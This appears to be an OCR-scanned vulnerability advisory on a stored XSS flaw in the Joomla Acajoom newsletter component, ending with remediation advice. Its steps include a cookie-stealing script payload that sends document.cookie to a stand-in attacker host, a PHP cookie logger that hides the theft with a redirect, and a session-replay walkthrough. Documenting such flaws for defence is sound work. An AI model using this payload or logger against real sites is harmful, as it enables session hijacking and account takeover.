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Abstract

XSS vulnerability has been detected in the popular ‘Acajoom’ component of Joomla.
An attacker can hijack the Joomla’s super admin role user’s account by exploiting

this weakness.

Introduction

Joomla

Joomla is a popular free open source Content Management System managed by
Joomla Foundation. It is a community-driven CMS allowing users to install third-party
developed components and extensions. While this makes Joomla a feature-rich and
dynamic CMS, it also introduces vulnerabilities like XSS and SQL injection in the

overall framework.
Acajoom

Acajoom is a popular Joomla component used for sending newsletters to subscribed
users. It is easy to configure and use, allowing users to include their designs, like

image embedding and HTML editing, in itself.



Screenshot of Acajoom 5.1.5
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8A:aiuum's Wizard

Hi admin!

m

Acajoom has many greatfeatures and this wizard will guide you through a four easy steps process to get you started sending your newsletters and auto-respondars!

STEP 1
First, you needto add a list A list could be oftwo types, either a newsletter or an auto-responder. In the list you define all the different parameters to enable the sending of your newsletters or auto-responders:
sender name, layout, subscribers’ welcome message, etc

You can set up your first list here: create a list and click the New button, lﬂ
id# Published List name List sender Mailings subscribers Visible
Acajoom News 5.1.5, Joom|z extensions powered by Joobi,

Done @
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XSS Vulnerability

Cross site scripting (XSS) attacks are considered one of the most dangerous attacks.
When an application accepts un-validated user inputs and sends it back to the
browser without validation, it provides attackers with an opportunity to execute
malicious scripts in victim users’ browsers. By using this attack vector, malicious

users can hijack user accounts, deface websites, carry out phishing attacks etc.

XSS attacks can be broadly categorized as ‘stored’ and ‘reflected’. In reflected XSS
attack, injected malicious inputs are ‘reflected’ back from a vulnerable application.
Typically, an attacker lures a victim into clicking on a link which contains the scripts
as URL parameter values. These scripts are then ‘reflected’ back and executed on the

victim’s browser.

In ‘stored’ XSS attack, attackers store malicious scripts in the application through
vulnerable pages. These scripts get executed when victim users access vulnerable

pages where these scripts are stored.



Joomla 1.5.18 Acajoom stored cross site scripting
vulnerability

The following sections present the vulnerability of the “config['sendmail path']”

variable parameter in the Acajoom component.

A Likely Scenario

Joomla has ‘Admin’ and ‘Superadmin’ role users with the 'Superadmin’ having higher
privileges than the ‘Admin’.

Consider a scenario where an admin user wants to gain access to the super admin
functionality. One of the ways to achieve this is to gain access to the session ID of
the super admin by way of an XSS attack.

Presented below is a step-by-step description of how the above scenario can be done

using the XSS vulnerability in the Joomla ‘Acajoom’ component.

Step 1: A malicious Admin user browses to the page at the URL:

http://www.vulnerablel23.com/Test/administrator/index.php and enters his

credentials.
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Step 2: The vulnerable page of the Acajoom component is at the URL:

http://www.vulnerable123.com/Test/administrator/index.php?option=com_acajoom

&act=configuration
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B Acajoom's Wizard

Hi malicious_admint
Acajoom has many great features and this wizard will guide you through a four easy steps process to get you started sending your newsletters and auto-responders!

STEP 1
First, you need to add a list. A list could be of two types, either a newsletter or an auto-responder. In the list you define all the different parameters to enable the sending of your newsletters or
auto-responders: sender name, layout, subscribers’ welcome message. etc...

You can set up your first list here: create a list and click the New butmn,a

Done
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Step 3: He injects malicious XSS vector in send mail path parameter

"<script>=document.location="http://www.attacker123.com/cookie.php?c=

" + document.cookie</script>
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Step 5: Then he clicks on save button as shown.
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ﬂ Acajoom’s Wizard

Hi malicious_admin!
Acajoom has many great features and this wizard will guide you through a four easy steps process to get you started sending your news|etters and auto-responders!

STEP1
First, you need to add a list A list could be of two types, either a newsletter or an auto-responder. In the list you define all the different parameters to enable the sending of your newsletters or auto-responders:
sender name, layout, subscribers’ welcome message, stc.

You can set up your first list here: create a list and click the New button, \ﬂ

htte: 123.com/T ion=com_acajoom@act=configuration® =)
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Step 6: The malicious user logs out from the application after saving the

configuration.
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XSS vector and Cookie.php

"<script>document.location="http://www.attacker123.com/cookie.php?c=

" + document.cookie</script>

Here www.attacker123.com is the site maintained by the attacker.

2. cookie.php is a file where a code is written to extract the value of the GET

parameter ‘c’ and write the same in a .html file.

3. The file is used to extract user session by the parameter ‘c ‘.

It also fetches the IP address and referrer value of the victim’s request.

The cookie.php file also re-directs the user to the home page of the vulnerable

site as defined in the header location so that the user is unknown of the attack.

The home page of the site is

www.vulenrablel23.com/Test/administrator/index.php.

cookie.php file

"] cookie.php - Notepad
File Edit Format View Help

= e

<?php
$cookie= $_GET['c'];
$ip= getenv (REMOTE_ADDR);

$referer=getenv ("HTTP_REFERER');
$fp=fopen('cookie.html’, 'a");
$str="<br>Cookie:".$cookie;

$str.="<br>Referer:".$referer;
$str.="<br>IP:".$ip;
fwrite($fp, $str);

fclose(sfp);

cader ocation: p://WWw.vUInerabnle .com/ Test/administrator/index.pnp

7>

Cookie.html is the file

user is written along with
IP address and Referrer.

where cookie value of the

The header redirects the
user to the home page of
the vulnerable site so that
the victim user is unaware
of the attack
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The Exploit

Step 7: A Super-admin role user browses to the configuration page at

http://www.vulnerablel23.com/Test/administrator/index.php?option=com_acajoom

&act=configuration and is shown the home page.
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Super Admin user is unaware about the attack and in the background; the cookie

value gets submitted to www.attacker123.com/cookie.html.

Below is the cookie.html file where cookie value of the super admin role user is
saved.

goo‘fﬁahgnjf”iw% — www.attacker123.com is the attacker’s

) B rpsivn mkma.mymw site i

File Edit View Favorites Tools Hel
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Referer:http://swww.vulnerable123 .com/Test/administrator/index.php?
ption=com acajoomd&act=configuration
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The cookie and referrer
value of the victim.

Done
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Step 8: A malicious user can use this cookie values to gain unauthorized access of
the application as a super admin. He enters the internal page at the URL:

http://www.vulnerable123.com/Test/administrator/index.php and captures the

request in an HTTP interceptor.

burp suite v1.3.03
burp intruder repeater windo

[“target | proxy | spider | sca

intercept | options [ history

[E=RF=R )

help
¢ | intruder | repeater | sequencer | decader | comparer | options | alers

request to hitp:iwww.vulnerable123.com:80 [127.0.0.1]

v |[_aop | ORI o]

raw headers hex
GET fTest/administrator/index.php HTTP/1.1 =
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap,
application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, */*

Accept-Language: en-US

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate

Proxy-Connection: Keep-Alive

Host: www.vulnerable123.com

L= IE=E=01
———
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NOTE: A HTTP interceptor is a proxy tool that can capture the data flowing between
a browser and a web server. Burp Suite proxy was used during the test.
Step 9: A malicious user appends the cookie value in the HTTP interceptor in the

request as shown and forwards the request.
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GET /Test/administrator/index.php HTTP/1.1 =
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap,
application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword, */*
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CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.vulnerable123.com

ookie: 49ec c37c =re ji6c9a087ilabelr7;
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Step 10: He can access all functionalities of the super admin role user as shown.
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The Impact

As described, user sessions can be hijacked through this attack. It can also lead to

phishing attacks and defacement of the websites.

Recommended Solutions

1. White list validation of all user entered parameters. Accepting only known data in
the application is the valid solution; else the error page should be shown. The
validation should be performed on client as well as server side.

2. Proper sanitization of the user entered strings should be performed in the

application.
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